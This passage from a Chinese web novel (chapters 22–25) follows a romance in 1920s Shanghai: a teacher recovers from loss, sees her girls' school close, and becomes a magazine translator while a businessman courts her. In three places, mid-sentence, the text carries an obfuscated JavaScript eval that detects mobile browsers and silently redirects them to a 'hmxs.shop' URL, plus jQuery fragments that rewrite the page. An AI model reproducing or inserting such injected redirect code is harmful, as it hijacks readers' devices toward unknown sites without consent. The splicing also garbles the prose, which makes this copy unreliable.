她又坐了一会儿，说了些私塾的近况，才起身告辞。走到门口时，她回头看了何思玥一眼，眼神里有欣慰，也有心疼。 门关上了。房间里只剩下何思玥和沈晏。 沈晏还蹲在她面前，握着她的手：“不想回去也没关系。我们可以去别的地方，北平、广州，甚至出国。你想做什么都行。” 何思玥摇摇头。她看着窗外，看着那株在风里摇曳的梧桐，轻声说： “沈晏，你说得对。真正的绿洲，不是永远风平浪静、水草丰美的地方。是哪怕经历风沙，哪怕被踩踏，哪怕干涸见底，但只要有一滴水，就能重新活过来的地方。” 她转过头，看向他：“我想做那样的绿洲。不仅自己活过来，还要让更多在沙漠里行走的人知道——前方还有希望。” 沈晏看着她。阳光照在她脸上，那些憔悴的痕迹还在，但眼睛里，重新有了光。 笑容也跟着在他脸上缓缓绽开，像晨光刺破厚重的云层。那不是他在商场上惯有的、带着算计或礼貌的微笑，而是一种纯粹的、从眼底蔓延到嘴角的舒展。 何思玥看着他，忽然发现沈晏其实很少这样笑。 大多数时候，他的笑意都停在嘴角，不达眼底——那是商人的面具，礼貌但疏离。可此刻，他眼角的细纹都舒展开来，眼睛里映着她的影子，亮得像盛满了碎金子。 “你笑什么？”她轻声问。 “笑你终于回来了。”沈晏说，声音里带着如释重负的轻松，“我的绿洲，又活过来了。” 他还是蹲着的姿势，这个在商场上叱咤风云的男人，此刻像个虔诚的信徒，半跪在她面前，握着她的手。 西装裤腿沾了灰，衬衫袖口挽到手肘，露出结实的小臂——上面有道浅浅的划痕，是赶路时不小心划的。 何思玥伸出手，指尖轻轻碰了碰那道伤痕：“疼吗？” “不疼。”沈晏摇头，“跟你心里的疼比起来，这不算什么。” 何思玥的手指顿了顿，然后轻轻覆在那道伤痕上。她的指尖很凉，但沈晏觉得，那点凉意像甘露，滋润了他连日奔波的焦灼。 “沈晏，”她看着他，“我可能……还是会做噩梦，还是会突然难过，还是会……” “我知道。”沈晏打断她，“我都知道。但没关系，我陪着你。你做噩梦，我就叫醒你。你难过，我就抱着你。你走不动了，我就背着你。” 他说得很自然，像在说一件再平常不过的事：“就像你说的，绿洲也会经历风沙。但只要根还在，就总能活过来。” 22. 第 22 章 何思玥的眼泪又涌上来，但这次不是因为悲伤，是因为某种温热的、柔软的触动。 她看着眼前这个男人——这个曾经被她贴上“满身铜臭”标签的商人，这个精于算计却把最真的心给了她的傻子。 “你为什么要对我这么好？”她又问了这个问过无数次的问题。 沈晏想了想，这次给了一个不一样的答案：“因为在你身上，我看见了另一种活法。不是算计得失，不是权衡利弊，是明知艰难却还要往前走，是看见黑暗却还要相信光。” 他顿了顿，声音低了些：“思玥，这些年我在商场上，见惯了尔虞我诈，见惯了为了利益不择手段。有时候我自己都怀疑，这世道是不是就是这样了——弱肉强食，适者生存。” “可你不一样。”他抬起头，眼神认真，“你教那些女孩识字画画，不是为了什么回报。你办女子私塾，明知道会得罪人，还是要办。你父母出事后，你明明可以躲起来，却要独自去跟赵副官谈判，那份勇敢和坚韧是我所喜欢和倾佩的。” 他的手指收紧了些：“思玥，你让我相信，这世上还有人在坚持做对的事，还有人不计得失地守护一些东西。而这，比任何生意都珍贵。” 何思玥怔住了。 她从未想过，自己在沈晏眼里，是这样的存在。 “可是我也……”她想起那包阿芙蓉，想起自己崩溃的样子，声音低了下去，“我也软弱过，也差点……” “那不是软弱。”沈晏摇头，“那是人疼到极处的正常反应。重要的是，你走出来了。” 他站起身，坐到她身边的椅子上，但依然握着她的手：“思玥，你知道吗？最坚韧的植物，往往生长在最恶劣的环境里。因为它们经历过风霜，所以更懂得珍惜阳光，更懂得深深扎根。” 窗外有风吹过，梧桐叶哗哗作响。一片嫩叶被吹落，打着旋儿飘进窗来，落在何思玥膝头。 她捡起那片叶子，叶脉清晰，绿得透明，在阳光里像一片薄薄的翡翠。 “就像这片叶子。”沈晏说，“它从那么高的树上落下来，可能会被踩碎，可能会被扫走。但它现在落在了你手里，这就是它的新生。” 何思玥看着手中的叶子，看了很久，然后她抬起头，看向沈晏：“我想回私塾看看。仅仅是看看，不一定马上上课。” “好。”沈晏点头，“我陪你去。” “不用。”何思玥摇头，“我想自己走走。” 沈晏愣了愣，随即笑了：“好。那我让司机送你到门口，我在车里等你。” 他知道，这是她重新站直的第一步——不是靠他扶着，是自己走。 何思玥换了一身月白色的旗袍——不是之前那件墨绿色的，那件沾过血，她收起来了。 这件是沈晏新买的，料子柔软，颜色素净。她重新别上那枚紫藤胸针，对着镜子理了理头发。 镜中的女子依然瘦削，脸色依然苍白，但眼神不再空洞。那里有伤，有痛，但也有重新燃起的光。 沈晏站在门口看着她，忽然说：“思玥，等你再好些，我们结婚吧。” 这话说得突然，何思玥转身看他。 “不是现在。”沈晏连忙解释，“是等你准备好了。我想给你一个家，一个真正的、温暖的家。” 何思玥看着他紧张的样子，忽然笑了。 那笑容很轻，却像春风，吹散了眉间最后一丝阴郁。 “好。”她说，“等我准备好了。” 沈晏的眼睛亮起来，像孩子得到了最想要的礼物。他想抱她，又怕唐突，最后只是用力握了握她的手：“我等你。” 车子驶向私塾。何思玥坐在后座，看着窗外熟悉的街景。 卖花姑娘还在原来的位置，栀子花的香气飘进车窗；报童奔跑着叫卖晨报；早点摊冒着热气，豆浆油条的香味弥漫在空气里。 一切都和从前一样。可她知道，自己不一样了。 车子在私塾门口停下。 何思玥下了车，站在那扇熟悉的木门前。门上的对联还在：“风声雨声读书声，声声入耳；家事国事天下事，事事关心。” 她深吸一口气，推开了门。 庭院里，老槐树下，周晓芸正在指导学生画画。听见门响，她抬起头，看见何思玥时，手里的画笔“啪”地掉在地上。 “何老师……” 所有的学生都转过头来。安静了一瞬，然后，不知谁先喊了一声：“何老师回来了！” 女孩们纷纷放下画笔，朝她跑来。没有过多的言语，只是围着她，一个个眼睛红红的，像失而复得的珍宝。 周晓芸和沈希希直接从教室冲了出来，紧紧地抱住何思玥。 “何老师，真的好高兴能再次看到你。” 何思玥被两个女孩紧紧抱着，眼泪也忍不住涌上来。她轻轻拍着她们的背：“好了好了，我这不是回来了吗？” 女孩们这才松开，但依然围在她身边，七嘴八舌地说着这段时间私塾里的事——谁画了一幅好画，谁学会了弹新曲子，谁的文章被陈校长表扬了。 阳光透过槐树的枝叶洒下来，在女孩们年轻的脸上跳跃。何思玥看着这一幕，心里那片荒芜了很久的地方，终于有暖意丝丝渗入。 “何老师，”周晓芸擦擦眼泪，小声说，“您能回来……真好。” “是啊，”沈希希挽住何思玥的胳膊，“我哥要是知道了，一定高兴坏了。” 说到沈晏，何思玥下意识地看向门口。透过月洞门，能看见那辆黑色轿车还停在路边，车窗摇下了一半，隐约能看见里面的人影。 她心里一动，对女孩们说：“你们先画着，我……我去跟沈先生说句话。” 女孩们乖巧地点头，回到各自的画板前。何思玥穿过庭院，走向门口。 沈晏看见她出来，立刻推开车门下了车。初夏的阳光照在他身上，浅灰色的西装泛着柔和的光泽。 “怎么样？”他迎上来，眼神里有关切。 “很好。”何思玥说，“她们……都很好。” 沈晏看着她，发现她眉宇间的阴郁又散去了些，眼底有了浅浅的笑意。这让他悬着的心终于落回实处。 “要回去吗？”他问，“还是……再待一会儿？” 何思玥想了想：“我想再待一会儿。陈校长还没见，而且……”她回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979685|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看了一眼庭院里那些埋头画画的女孩，“我想看看她们最近画了什么。” “好。”沈晏点头，“我陪你。” 两人一起走回庭院。女孩们看见沈晏，都礼貌地打招呼：“沈先生好。” 沈晏难得地有些拘谨——这个在商场上游刃有余的男人，面对一群十几岁的女学生，竟不知该说什么。他只能微微颔首，然后退到廊下，看着何思玥和女孩们说话。 何思玥走到画架前，一幅幅地看过去。有画静物的，有画风景的，还有几张画的是街景——显然是受了之前码头写生的影响。 “这幅不错。”她停在一幅画前。画的是私塾的紫藤架，但角度很特别——是从下往上仰视的，紫藤花穗垂下来，像紫色的瀑布，天空被枝叶分割成不规则的几何形状。 “这是谁画的？” 沈希希举起手，有些不好意思：“是我……我试了新角度。” “很大胆。”何思玥仔细看着，“构图有想法，色彩也处理得很好。尤其是天空这部分，用淡蓝和淡紫的渐变，很巧妙。” 沈希希的脸红了，眼睛亮晶晶的。 何思玥继续看下去。当她看到周晓芸的画时，脚步停住了。 那是一幅人物画。画上是一个女子的背影——穿着月白色旗袍，站在窗前，窗外是梧桐树。 光线从侧面照进来，在她身上镀了一层金色的轮廓。画得不算精细，但那种孤独又坚韧的感觉，抓得很准。 “这是……”何思玥轻声问。 “是您。”周晓芸小声说，“您不在的这些天，我有时候会想，您现在在做什么……就画了这个。” 何思玥看着画中的自己。那个背影挺直，却又透着单薄；站在光里，却又像随时会被阴影吞没。 她忽然明白，在这些女孩眼里，她不仅是老师，更是一个符号——一个关于勇气、关于坚持、关于在黑暗中依然相信光的符号。 “画得很好。”她转过头，对周晓芸笑了笑，“但下次，可以画点更明亮的。比如……大家一起画画的场景？” 周晓芸用力点头：“好！” 看完画，陈校长也闻讯赶来了。看见何思玥，她眼眶一红，但很快控制住情绪：“思玥，你回来了就好。身体怎么样？” “好多了。”何思玥说，“让您担心了。” “回来就好，回来就好。”陈校长握着她的手，“不急，慢慢来。课我给你留着，什么时候准备好了，什么时候回来上。” “谢谢您。”何思玥真心实意地说。 他们在私塾待了一整个下午。何思玥虽然没有正式上课，但和女孩们说了很多话——关于画画，关于读书，关于未来。她说话时，沈晏就坐在廊下，静静地看着她。 夕阳西下时，他们才告辞离开。女孩们一直送到门口，依依不舍。 “何老师，您明天还来吗？”周晓芸问。 何思玥想了想，点头：“来。不过可能只是来看看，不一定上课。” “来看我们就好！”沈希希抢着说，“我哥明天也来吗？” 何思玥看向沈晏。沈晏笑了：“来。只要你们老师不嫌我烦。” 23. 第 23 章 车子驶离私塾，汇入傍晚的车流。何思玥靠在座椅上，感觉疲惫，但心里是充实的。 “累吗？”沈晏问。 “有一点。”何思玥老实说，“但……是真的好累。” 沈晏笑了，宠溺揉了揉思玥的头发。他从口袋里掏出一个小盒子——又是礼物。 “这是什么？”何思玥接过。 “打开看看。” 盒子里是一对珍珠耳坠。珍珠不大，但圆润莹白，在暮色里泛着温润的光泽。 “为什么又送我礼物？”何思玥问。 “庆祝你重新站起来了。”沈晏说，“而且，珍珠是在痛苦中形成的——沙粒进入蚌壳，蚌用血肉去包裹它，一层一层，最后才变成珍珠。” 他看着她：“思玥，你现在就像这颗珍珠。经历了痛苦，但那些痛苦没有摧毁你，反而让你变得更坚韧，更美丽。” 何思玥摸着那对耳坠，珍珠光滑微凉，像泪滴，却又比泪滴温暖。 “沈晏，”她轻声说，“你总是知道该说什么。” “因为我是商人。”沈晏笑了，“商人最擅长的，就是发现价值。而你，是我发现的最珍贵的宝物。” 车子在公寓楼下停下。沈晏先下车，为她拉开车门。暮色已深，街灯亮起来，梧桐树的影子在风里摇曳。 上楼时，沈晏很自然地牵住了她的手。何思玥没有拒绝，反而握紧了些。 公寓里很安静，只有窗外偶尔传来的车声。沈晏打开灯，暖黄的光洒满房间。 “晚上想吃什么？”他问，“我让厨房做。” “随便。”何思玥说，“不过……我想喝你熬的梨汤。” 沈晏怔了怔，见她又想吃的东西，发自内心的替她高兴。 他随即笑了：“好。不过家里可能没有梨了，我现在去买。” “我跟你一起去。”何思玥说，“就当……散步。” 沈晏看着她，眼睛亮起来：“好。” 他们下楼，走进傍晚的街道。霞飞路的梧桐树下，许多人在散步。有挽着手的情侣，有推着婴儿车的夫妇，有牵着狗的老人。 沈晏很自然地走在何思玥外侧，为她挡住来往的车流。经过水果摊时，他仔细挑了几个雪梨，又买了些冰糖和胖大海。 “还要买点什么水果吗？”他问。 何思玥摇摇头。 她看着沈晏付钱，看着他和摊主说话，看着他拎着袋子走回她身边——这些平常的细节，在此刻显得格外珍贵。 回到公寓，沈晏系上围裙，在厨房里忙活。何思玥坐在客厅里，能听见洗梨、切梨的声音，还有砂锅放在炉子上的轻响。 梨汤的香气很快飘出来，清甜中带着淡淡的药香。何思玥走到厨房门口，靠在门框上看着沈晏——他专注地盯着火候，额前有细密的汗珠，衬衫袖口挽到手肘，露出结实的小臂。 “看什么？”沈晏转过头，发现她在看他。 “看你熬汤的样子。”何思玥说，“想不到沈大少爷，还会做这个。” “在英国留学时学的，不喜欢英国吃的东西，就自己学着做了一点。”沈晏笑了，“那时候想家，就学着熬汤。熬着熬着，就想，以后要是有了喜欢的人，也要给她熬汤。” 他说得很自然，何思玥却听得心里一暖。 汤熬好了。沈晏盛了一碗，放在她面前：“小心烫。” 何思玥舀起一勺，吹了吹，送入口中。还是那个味道——清甜温润，带着胖大海特有的清爽。 “好喝吗？”沈晏问。 “好喝。”何思玥点头，“比上次的还好喝。” 沈晏笑了，在她对面坐下，自己也盛了一碗。 两人对坐着喝汤，谁也没说话。但那种安静不是尴尬，是默契，是知道彼此都在的安心。 喝完汤，何思玥忽然说：“沈晏，我想……下周开始正式回私塾上课。” 沈晏放下碗：“确定吗？” “确定。”何思玥点头，“我不能一直躲着。而且……那些女孩在等我。” “好。”沈晏说，“那我每天接送。” “不用那么麻烦……” “不麻烦。”沈晏打断她，“我说过，从今往后，你的疼我分担一半，你的累我分担一半。接送算什么？” 何思玥看着他，忽然问：“沈晏，你对我这么好，是因为可怜我吗？” 这个问题让沈晏愣住了。他放下碗，认真地看着她： “思玥，如果只是可怜，我会给你钱，会帮你安排好一切，但不会陪着你疼，陪着你哭，更不会看到你受伤的时候，我也跟着心疼，更不会……更不会想和你共度余生。” 他顿了顿，声音低沉而清晰：“我对你好，是因为你是你。因为你勇敢，因为你善良，因为你在最艰难的时候，依然想照亮别人。而这些，跟你的遭遇无关。即使你没有经历这些，我依然会被你吸引，依然会想对你好。” 何思玥的眼眶热了。她低下头，看着碗里剩下的梨汤，汤面倒映着灯光，也倒映着沈晏认真的脸。 “沈晏，”她轻声说，“谢谢你。” “不用谢。”沈晏握住她的手，“这是我心甘情愿的。” 民国十四年秋，上海的教育界迎来了一场剧变。 新颁布的《私立学校管理办法》像一道惊雷，劈开了原本就不平静的学界。 规定要求所有私立学校必须重新登记，师资需有“相关机构认可之资格”，课程需“符合最新颁布的教育纲领”。女子私塾这类“非正统”的教育机构，首当其冲。 陈校长在书房里坐了整整一夜，头上多了几缕白发，第二天清晨，她对何思玥说：“思玥，私塾……可能办不下去了。” 窗外的梧桐叶已经开始泛黄，风一吹，簌簌落下几片。何思玥看着那些飘落的叶子，忽然想起父亲常说的一句话：该落的叶，留不住。 “是因为新规定吗？”她问。 陈校长点头，疲惫地揉着眉心：“教育局要求我们增设‘家政’‘女红’课，缩减‘新文学’‘西洋史’的课时。还要把几位老学究塞进来当‘督导’……这已经不是我们当初办学的初衷了。” 何思玥沉默。 她明白陈校长的意思——妥协，就能继续办；不妥协， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981706|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就只能关。 “您打算怎么办？” 陈校长苦笑：“我打算把私塾卖了。趁着还能卖个好价钱，给老师们发足遣散费，给学生们安排好去处。”她顿了顿，“思玥，对不起，我……” “您不用道歉。”何思玥轻声说，“您已经做了能做的一切。” 她回到教室，看着那些熟悉的课桌、黑板、画架。 阳光从窗格照进来，在青砖地上投下规整的光影。这里曾经是她的战场，她的理想，她的绿洲。 而现在，绿洲要消失了。 最后一堂课上，何思玥没有讲课文，也没有教画画。她站在讲台上，看着台下那些年轻的脸，轻声说： “今天我们不说课，说说话。” 女孩们都坐直了身子，看着她。 “我要辞去教职了。”何思玥说得很平静，“私塾要关，这是时局所迫，不是任何人的错。” 教室里一片寂静。 周晓芸第一个哭了，然后是沈希希，然后是一个接一个的女孩。压抑的抽泣声在安静的教室里回荡。 “不要哭。”何思玥说，虽然她自己眼眶也红了，“我教你们的第一课是什么？是‘看见’。看见这个世界，好的一面，坏的一面，光明的一面，黑暗的一面。” 她走下讲台，走到女孩们中间：“现在，你们看见了一件事——有些路，走着走着就断了。有些理想，实现着实现着就碎了。这很疼，我知道。但重要的是——” 她顿了顿，声音坚定起来：“重要的是，路断了，能不能找到新的路？理想碎了，能不能拼凑出新的理想？” 周晓芸抬起头，眼睛红红的：“何老师……我们还能做什么？” “能做的很多。”何思玥说，“去正规学校继续读书，去学一门手艺，去工作，去结婚，去生孩子——但无论做什么，都要记住你们在这里学到的东西：女子也有思考的权利，也有选择的权利，也有看见更大世界的权利。” 她走到窗边，推开窗户。秋风涌进来，带着梧桐叶的清香。 “这个教室会关，这所私塾会没，但你们眼睛里的光，不能灭。”她转过身，看着女孩们，“只要光还在，无论走到哪里，无论做什么，你们都是自由的。” 下课时，女孩们没有像往常一样说“老师再见”，而是一个个走过来，拥抱她。有的在她耳边小声说“谢谢”，有的塞给她自己折的纸鹤，有的只是默默地抱一下，眼泪蹭在她肩上。 周晓芸是最后一个走的。她把一幅画放在何思玥桌上——画的是私塾的庭院，老槐树下，一个女子在教一群女孩画画。画角题了一行小字：“师恩如光，照我前行。” 何思玥看着那幅画，眼泪终于掉下来。 “谢谢你，晓芸，我只是不在私塾教书了，又不是离开上海，你要是想我了随时都可以找我。”思玥心情复杂的抱住了周晓芸。 “真的可以吗？何老师。” “当然，或许我可以教你一些新潮的知识，一些书本上没有的知识。” 何思玥看到周晓芸眼里求知的欲望，她就知道，当初帮助周晓芸是对的。 24. 第 24 章 走出私塾，沈晏的车已经等在门口。他看见她红着眼睛出来，什么也没问，只是拉开车门。 “想去哪里？”他问。 “随便开开，我想四处看看。”何思玥说，自从父母出事，她搞得人不人鬼不鬼的，也没有好好看看这上海滩。 车子沿着黄浦江慢慢行驶。 秋日的江面泛着粼粼波光，远处的外滩建筑在夕阳下镀上一层金色。 这个城市依然繁华，依然忙碌，不会因为一个私塾的关闭而改变什么。 “接下来有什么打算？”沈晏问。 何思玥沉默片刻：“我想找份工作。不能总靠你养着。” “只要你想，我可以养你一辈子。”沈晏说得很自然。 “我知道，我知道我们沈总很有钱。”何思玥转头看他，“但我想自己站着。” 沈晏笑了：“好。想做什么？” “翻译。”何思玥说，“我在英国学的是文学，中英文都还可以。而且……翻译可以让我继续接触新思想，新知识。” 沈晏点点头，没有多问。 第二天，他就拿来几份杂志社的招聘信息。 “《东方杂志》在招英文翻译，《妇女杂志》需要能翻译西洋女权著作的人，《申报》的副刊也需要懂外文的编辑。”他把资料摊在桌上，“看看你对哪个感兴趣。” 何思玥仔细看着。 最后，她的目光停在《妇女杂志》上——那是一本新办的刊物，主编是位留法归来的女作家，提倡“新女性，新生活”。 “就这个吧。”她说。 面试很顺利。主编林曼卿是个四十来岁的女子，梳着利落的短发，穿着西式套装，说话干脆利落。 “何小姐的翻译作品我看过了，翻译地很有深度，文化底蕴很身后。”林曼卿推了推眼镜，“尤其是那篇《英国女子参政运动始末》，不仅译文准确，注释也很有见地。” “谢谢。”何思玥说。 “不过我要提前说清楚，”林曼卿正色道，“《妇女杂志》虽然打着‘妇女’的旗号，但内容很激进。我们讨论避孕，讨论离婚，讨论女子独立——这些话题，在上海滩还很敏感。做我们的编辑，要有心理准备。” 何思玥想起私塾被关的事，想起那些老学究的嘴脸，想起父母倒在血泊中的场景。她抬起头，直视林曼卿：“林主编，来面试的时候，我已经做好了一切准备了。” 林曼卿看着她，眼神里闪过一丝欣赏：“好。下周一上班。月薪八十块大洋，试用期三个月。” 八十块——这在当时是高薪了。 何思玥知道，这多半是沈晏打过招呼的结果。但她没有拒绝。因为她需要这份工作，需要这个平台，需要继续她未竟的事业——让更多女子看见光。 第一个月，她翻译了三篇长文：法国女作家科莱特的《流□□伶》，美国女权领袖斯坦顿的《自我之主权》，还有一篇关于日本女子教育的调查报告。 文章刊出后，反响出乎意料地热烈。 读者来信像雪片一样飞来，有的赞同，有的质疑，有的痛骂“伤风败俗”。林曼卿把一沓信放在她桌上：“何编辑，你成了。” 何思玥翻开那些信。有一封来自苏州的女学生，说看了文章后决定不退学，要考大学；有一封来自上海的纱厂女工，说第一次知道女子也有“主权”这个词；还有一封来自北平的女教师，说要把杂志带进课堂，让更多女孩看见。 当然，也有骂的。说她们“蛊惑人心”，说她们“破坏纲常”，说她们“该浸猪笼”。 何思玥看着那些骂信，忽然笑了。 “笑什么？”林曼卿问。 “笑他们急了。”何思玥说，“但是也证明了一点，我们说的有道理，不然他们怎么会急成这样？” 林曼卿也笑了：“说得对。所以，继续写，继续译。让该急的人更急，让该醒的人更醒。” 工作之余，何思玥依然和私塾的女孩们保持联系。 周晓芸考上了苏州的女子师范，来信说将来要回乡办学；沈希希的画被选送巴黎参展，虽然没获奖，但开了眼界；其他女孩有的进了工厂，有的去了百货公司当店员，有的嫁了人——但她们都记得何老师的话：眼睛里的光，不能灭。 深秋的一个傍晚，何思玥加班到很晚。走出杂志社时，天已经全黑了。梧桐树的叶子落了大半，枝桠在路灯下投下瘦削的影子。 沈晏的车等在街角。他靠在车边，手里拿着份报纸，看见她出来，立刻收起报纸迎上来。 “这么晚。”他接过她的公文包。 “赶一篇稿子。”何思玥说，“下期要做‘女子职业’专题，我负责写前言。” 两人坐进车里。沈晏没有立刻开车，而是从后座拿出一个纸袋：“还没吃饭吧？新开的粤菜馆，烧鹅和叉烧。” 纸袋还温着，香气飘出来。何思玥这才觉得饿，接过筷子小口吃起来。 沈晏看着她吃，忽然说：“思玥，下个月我得出去一趟。” 何思玥的手顿了顿：“去哪儿？” “南京。”沈晏说，“那边新开了分号，有些事必须我亲自处理。还不知道什么时候能回来。” “哦。”何思玥低头继续吃，但味同嚼蜡。 “你……”沈晏看着她，“你一个人行吗？” 何思玥抬起头，看着他担忧的眼神，忽然笑了：“沈晏，我已经不是那个需要你时时刻刻守在身边的人了。” 她顿了顿，补充道：“但你不在，我会想你的。” 这话说得很轻，却让沈晏的眼睛亮起来。他握住她的手：“我会尽快回来。每天给你发电报，空了我也会给你写信。” “好。”何思玥点头，“我等你。” 车子驶过深夜的街道。何思玥看着窗外，这个她曾经差点失去的城市，这个让她失去一切又找回一切的城市，在夜色里闪烁着明明灭灭的灯火。 私塾关了，但她的战场还在。 父母不在了，但她爱的人还在。 车子在公寓楼下停下。沈晏送她到门口，没有进去。 “早点休息。”他说。 “你也是。”何思玥站在门口，看着他。 两人对视着，谁也没动。然后，沈晏上前一步，轻轻抱了抱她。 不是紧紧的拥抱，是很轻的，像怕碰碎什么。但何思玥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987733|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能感觉到，他的心跳很快，像鼓点。 “等我回来。”他在她耳边说。 “好。”她应道。 他松开她，转身下楼。脚步声在楼道里渐渐远去。 何思玥站在门口，许久，才推门进屋。房间里很安静，但不再冰冷。因为这里有了回忆，有了温度，有了等待。 沈晏出差的倒数第三天，是个周日。 何思玥难得不用去杂志社，沈晏也推掉了所有应酬。两人窝在公寓里，像寻常夫妻一样，过了很平常的一天。 早晨，何思玥醒来时，沈晏已经在厨房做早餐了。她靠在厨房门框上，看着他系着围裙煎鸡蛋——动作不算熟练，但很认真。 “真的很难想象，你竟然会做饭？”她问。 “在英国时。”沈晏把煎蛋盛到盘子里，“那时候想吃中餐，又嫌外头的贵，就自己学着做。”他转过头，对她笑了笑，“不过只会煎蛋和煮面。” 早餐很简单：煎蛋、面包、牛奶，还有沈晏特意去买的生煎包。两人对坐在窗边的小桌前，阳光透过白色纱帘洒进来，暖洋洋的。 “今天想去哪儿？”沈晏问。 “哪儿也不想去。”何思玥说，“就在家里待着。” 沈晏愣了愣，随即笑了：“好，那我就在家里陪着你。” 吃完早餐，何思玥洗碗，沈晏擦桌子。然后两人一起收拾房间——其实公寓很干净，有女佣定期打扫，但何思玥说，想自己动手。 她擦桌子，他拖地；她整理书架，他给窗台上的花浇水。没有太多言语，只有偶尔的眼神交汇，和那种自然而然的默契。 午饭后，沈晏在书房处理最后几份文件，何思玥坐在沙发上看书。 她看的是沈晏从英国带回来的原版小说，《傲慢与偏见》。看到达西先生表白那段时，她忍不住笑了。 “笑什么？”沈晏从文件里抬起头。 “笑达西先生。”何思玥说，“他明明爱伊丽莎白，却说得那么傲慢。” 沈晏放下笔，走过来在她身边坐下：“也许他不是傲慢，是不知道该怎么表达。” “怎么会不知道？”何思玥翻着书页，“爱一个人，不就是想对她好吗？” 沈晏沉默了片刻，忽然说：“思玥，其实我一开始也不知道该怎么对你好，甚至还说了很多错话，让你误解。” 何思玥抬起头看他。 “送你礼物，你觉得我俗气；帮你办事，你觉得我算计；连关心你，都要包装成‘投资’。”沈晏自嘲地笑了笑，“因为我只会用商人的方式去爱人——计算得失，权衡利弊，寻找最优解。” “那现在呢？”何思玥轻声问。 “现在……”沈晏看着她，眼神温柔，“现在我知道，爱不是计算题，没有最优解。爱是……是明知道可能血本无归，还是要把所有筹码都押上去。是明知道前路艰难，还是要陪着她一起走。” 他顿了顿：“就像你父母出事时，我其实可以有很多选择——明哲保身，或者用更‘聪明’的方式解决。但那一刻，我脑子里只有一个念头：不能让她一个人面对。” 何思玥的眼眶热了。她放下书，靠进他怀里。 25. 第 25 章 “沈晏，”她轻声说，“你从来都不俗气。你是我见过……最真实的人。” 下午，他们一起出门买菜。不是去大菜场，是去霞飞路尽头的一个小市集——那里有农民自己种的菜，有渔民刚打上来的鱼，还有老阿婆做的豆腐。 沈晏牵着她的手，在摊位间慢慢逛。 他会问她想吃什么，会跟摊主讨价还价——虽然那点钱对他来说根本不算什么，但他享受这个过程，享受这种烟火气。 “这条鲈鱼很新鲜。”沈晏指着水盆里的鱼，“晚上清蒸？” 何思玥点头：“好。” “再买点青菜，炒个香菇菜心。”沈晏已经盘算起来，“汤……做番茄蛋汤吧，简单。” 他说话时，侧脸在午后的阳光里显得格外柔和。 何思玥看着他，忽然想起第一次见他时的样子——在林老师家，他打碎了瓷器，额发沾着蛛网，西装上全是灰。 那时她怎么也想不到，这个冒冒失失的男人，会成为她生命里最重要的那个人。 买完菜回家，沈晏系上围裙下厨。何思玥要帮忙，被他赶出厨房：“今天你就坐着，让我来。” 她只好坐在客厅里，听着厨房里传来的切菜声、炒菜声、还有沈晏偶尔手忙脚乱的动静。有一次“哐当”一声，像是什么打翻了，她刚要起身，就听见沈晏说：“没事没事，碗没碎。” 她笑了，心里涌起一股温热的暖流。 晚餐很简单，但很好吃。鲈鱼蒸得恰到好处，青菜炒得翠绿，番茄蛋汤酸甜开胃。沈晏还开了一瓶红酒——不是什么名贵的酒，就是市面上常见的牌子。 “庆祝什么？”何思玥问。 “庆祝……”沈晏想了想，“庆祝我们还在一起，庆祝你能吃我做的饭，庆祝……明天太阳还会升起。” 他说得很随意，但何思玥听出了其中的深意。她举起酒杯：“那庆祝吧。” 杯子轻轻碰撞，发出清脆的声响。红酒在玻璃杯里荡漾，像流动的宝石。 饭后，两人一起洗碗。沈晏洗，何思玥擦，配合得很默契。窗外的天色渐渐暗下来，梧桐树的轮廓在暮色里越来越模糊。 “明天……”沈晏开口，又停住了。 “明天你还有一天。”何思玥接上他的话，“后天早上才走。” “嗯。”沈晏点头，声音低了些，“时间过得真快。” 洗完碗，他们坐在阳台上看夜景。 法租界的夜晚很安静，只有远处偶尔传来的车声。星星出来了，一颗两颗，渐渐铺满夜空。 沈晏握住何思玥的手，手指轻轻摩挲着她的指节。这个动作很自然，像做过无数次一样。 “思玥，”他忽然说，“等我从南京回来，我们就结婚吧。” 何思玥怔了怔。虽然早有准备，但听到他这么正式地说出来，心跳还是漏了一拍。 “怎么突然……” “不是突然。”沈晏看着她，“我想了很久了，不是一时冲动，在你举办画展之前，我就想和你结婚，只不过后面，你父母出事，我就没有再提起，我想要给你一个家。一个真正的属于我们两个人的家，一个温暖的家。” 他的眼神在夜色里格外明亮：“我不想再等了。我想每天醒来都能看见你，想每天回家都能和你一起吃饭，想……想和你一起慢慢变老。” 何思玥的眼泪掉下来。她别过脸，看向远处的灯火。 “沈晏，”她轻声说，“我现在……还配得上你吗？” 沈晏愣住了。 然后他扳过她的脸，让她看着自己：“思玥，你从来都配得上我。是我配不上你——我满身铜臭，精于算计，除了钱，什么都没有。” “可是你……” 